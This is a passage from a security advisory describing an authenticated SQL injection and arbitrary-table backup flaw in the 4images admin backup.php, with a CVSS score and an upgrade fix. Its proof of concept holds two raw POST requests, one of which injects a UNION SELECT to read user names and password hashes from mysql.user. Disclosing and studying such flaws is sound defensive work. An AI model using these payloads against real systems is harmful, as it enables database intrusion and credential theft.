2. Vulnerability Description

CVSS

Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P

Description

When backing up the database, the user can supply the tables that should be
backed up. The program does not check if these tables actually belong to the
4images database or to a different database. Because of this, it is possible to
back up, and thus read, any database the database user has access to.

However, even if there were a check for the database, it would still be
possible to perform arbitrary SELECT statements by injecting into a SELECT
query that looks like this: "SELECT * FROM $table" where $table is user
supplied.

Admin credentials are required to back up the database.

3. Proof of Concept

POST /4images/admin/backup.php HTTP/1.1
__csrf=43c557c252fe6f57db4720b23771c7ab&action=makebackup&db_tables%5B%5D=mysql.user

POST /4images/admin/backup.php HTTP/1.1
__csrf=43c557c252fe6f57db4720b23771c7ab&action=makebackup&db_tables%5B%5D=4images_comments where comment_id=-1 union all select user,password,3,4,5,6,7,8 from mysql.user

4. Solution

To mitigate this issue please upgrade at least to version 1.7.12:
